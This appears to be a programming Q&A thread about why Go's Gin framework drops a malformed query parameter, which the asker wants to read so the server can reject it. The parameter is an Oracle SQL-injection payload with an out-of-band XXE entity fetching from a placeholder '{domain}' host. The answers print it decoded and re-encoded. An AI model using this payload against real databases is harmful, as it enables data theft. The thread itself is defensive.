Missing query parameter in request

Running the following go code:

package main

import (
	"fmt"
	"github.com/gin-gonic/gin"
)

func main() {
	r := gin.Default()
	r.GET("/", func(c *gin.Context) {
		qParam, ok := c.GetQuery("fromDate") // qParam is nil
		query := c.Request.URL.Query() // query is empty
		rawQuery := c.Request.URL.RawQuery // contains the parameter
		fmt.Println(qParam, ok, query, rawQuery)
		c.JSON(200, gin.H{
			"message": "pong",
		})
	})
	r.Run("localhost:8181")
}

With the following query parameter, golang seems to not be returning it:

fromDate=%7bbase%7d%7c%7cextractvalue(xmltype('%3c!DOCTYPE%20root%20[%3c!ENTITY%20%%20xxx%20SYSTEM%20%7bbase%7d%22http%3a%2f%2f%7bdomain%7d%2fext1%22%3e%xxx%3b]%3e'),'%2fl')

Although it is present in the URL.RawQuery:
debug screenshot

I need to access this value so I can validate it and return an error code, but as it is returned as nil I cannot do that.

Gin c.Query() and URL.Query() are the same:

> Query returns the keyed url query value if it exists, otherwise it returns an empty string (""). It is shortcut for c.Request.URL.Query().Get(key)

And URL.Query() silently discards invalid params.

The query param you showed above is invalid. You should properly escape the original string before calling the server endpoint.

If this is not under your control, you may just be out of luck. You could attempt fixing the raw param, but that is arbitrary and not scalable.

For the record, this is what your original query string might look like:

{base}||extractvalue(xmltype('<!DOCTYPE root [<!ENTITY  xxx SYSTEM {base}"http://{domain}/ext1"> xxx;]>'),'/l')

If your original query string is:

fromDate={base}||extractvalue(xmltype('<!DOCTYPE root [<!ENTITY % xxx SYSTEM {base}"http://{domain}/ext1">%xxx;]>'),'/l')

then you should encode the query like this(i don't think it is a good way):

fromDate=%7bbase%7d%7c%7cextractvalue(xmltype(%27%3C!DOCTYPE%20root%20[%3C!ENTITY%20%25%20xxx%20SYSTEM%20%7bbase%7d%22http%3a%2f%2f%7bdomain%7d%2fext1%22%3E%25xxx%3b]%3E%27),%27%2fl%27)

because the '%' in your original string was encoded as '%' not '%25' so the '%%' would be parsed with error.